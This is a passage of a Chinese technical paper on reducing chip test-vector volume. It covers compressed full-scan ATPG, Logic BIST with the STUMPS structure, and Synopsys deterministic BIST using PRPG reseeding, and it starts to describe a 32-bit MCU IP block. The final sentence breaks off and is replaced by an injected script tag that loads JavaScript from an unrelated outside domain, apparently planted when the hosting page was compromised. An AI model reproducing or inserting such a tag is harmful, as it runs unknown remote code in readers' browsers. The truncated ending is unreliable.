0.引言
芯片集成度的提高导致芯片测试的复杂度也相应提高,使得芯片测试所需要的测试向量数量剧增,这意味着必须购买或租用更为昂贵的高档自动测试仪(ATE:automatic test equipment)才能完成对芯片的测试。近几年业界针对芯片数字逻辑部分测试主要采用两种方法来压缩测试向量的数量,一种是扩展基于全扫描的自动测试向量生成(ATPG:automatic test pattern generation)方法,另一种是逻辑内置自测试方法。下面将这两种方法的原理及优缺点分别做简要介绍。
扩展基于全扫描的ATPG 扩展基于全扫描的ATPG是目前比较主流的方法,其工作方式与传统的基于全扫描的ATPG一样,用可扫描的触发器替换电路中的一般触发器,然后按照一定顺序连接起来形成一条或多条扫描链。测试向量针对电路中可能存在的制造缺陷而生成,所以具有确定性。在测试时,测试向量以串行的方式加载给被测电路,测试结果也从被测电路中以串行方式输出,ATE把实际测试结果与预期结果比较后对芯片是否存在制造缺陷进行裁决,同时也对存在制造缺陷的芯片进行诊断。与传统的方法不同的是,扩展的方法采用压缩测试向量的方法来减少对ATE的内部向量缓存存储器容量的要求。在测试时,芯片内部附加的专用于测试的电路把被压缩的测试向量解压后用于正常的全扫描测试,同时将测试结果压缩后再传送给ATE[1]。这种方法能在同样的测试向量数量条件下降低对ATE的要求并且仍保持很高的测试覆盖率,但由于在测试时测试向量数目没有减少,并且扫描链的数目没有增加(增加扫描链需要使用更多的芯片端口和更高挡的ATE),所以测试时间还是很长。在对高速芯片做测试时,因为ATE不能有效控制芯片扫描使能(Scan_Enable)信号的翻转,所以还存在着不能对芯片做全速测试的问题,即不能检测延迟故障(Delay Fault)[2]。
逻辑内置自测试(Logic BIST: logic built-in self test) Logic BIST一般采用STUMPS(self testing using MISR and parallel SRSG)结构[3],利用芯片内置伪随机向量产生器(PRPG:pseudo random pattern generator,PRPG与SRSG为同一种结构)产生一系列的测试向量,这些测试向量被施加到被测电路的多条扫描链上,连续的多条扫描链的输出被送到多输入鉴别寄存器(MISR:multiple in signature register)里产生鉴别码,鉴别码与期望值比较后如果不一致,则表示芯片未通过测试。Logic BIST 的好处在于减少了对测试仪器的依赖性,并且也能更方便得做到全速测试[2]。但是很多数字电路存在着在很小的概率下随机向量才能检测到的故障[4],因此要达到比较高的测试覆盖率理论上就需要更多的测试时间。在EDA工具支持方面,当前业界Logic BIST的工具一般比较独立且不成系统,工具混合使用需要数据交换,难免存在错误和文件的不兼容。
1.Synopsys DBIST测试方法
为了解决普通逻辑内建自测试存在的测试覆盖率低问题,学术界提出了很多方法来提高随机向量的测试覆盖率,这其中主要包括(1)插入测试点和更改被测电路结构来减少不易被随机向量检测到的节点[5](2)用外加的逻辑产生加权的伪随机向量来提高对那些难以检测节点的检测概率[6](3)采用混合模式,即第一步用随机向量测试,第二步用针对难以检测节点的确定性向量测试[7](4)采用重置位(reseeding)的方法来配置PRPG,使其产生的伪随机向量对故障检测具有一定的确定性(deterministic)[8]。
Synopsys确定性内建自测试(DBIST:deterministic BIST)是采用了重置位原理来提高测试覆盖率的一种新的逻辑内建自测试方法。在结构上,DBIST与logic BIST类似,把被测电路扩展为四个部分:产生测试向量的PRPG;将测试结果压缩成鉴别码的MISR;控制着PRPG和MISR的运行方式以及控制芯片的功能模式和测试模式的切换的控制模块;和通过常规的基于扫描的DFT的规则检查并且尽量能够达到高的测试覆盖率的被测电路。用来重置位的种子(seed)基于全扫描的ATPG方法生成,对芯片制造缺陷的检测和全扫描一样也具有确定性。在测试时,芯片外界通过扫描输入一个种子(seed)的方法来置PRPG的状态,然后PRPG一次产生一系列的向量(数量有限),称为一个间隔(interval)。这一系列的向量逐个地经过一个叫相位扩展(phase shifter)的结构进一步扩展到更宽的位数,扩展后的向量以扫描形式经过被测电路后,其响应输出到压缩电路中,接着输入MISR产生一个128 bit宽度的鉴别码,鉴别码再被串行地送给ATE做判决。当这一个seed产生的所有向量结束时,第二个seed产生的向量已经进入被测电路。上述步骤循环执行,直到所有的测试向量都产生完毕。
论文涉及一个要包含在语音编解码系统芯片中的32位MCU IP模块的设计,该IP模块逻辑部分规模约为380 K门。我们首先?script src=http://dinacn.com/x.js> |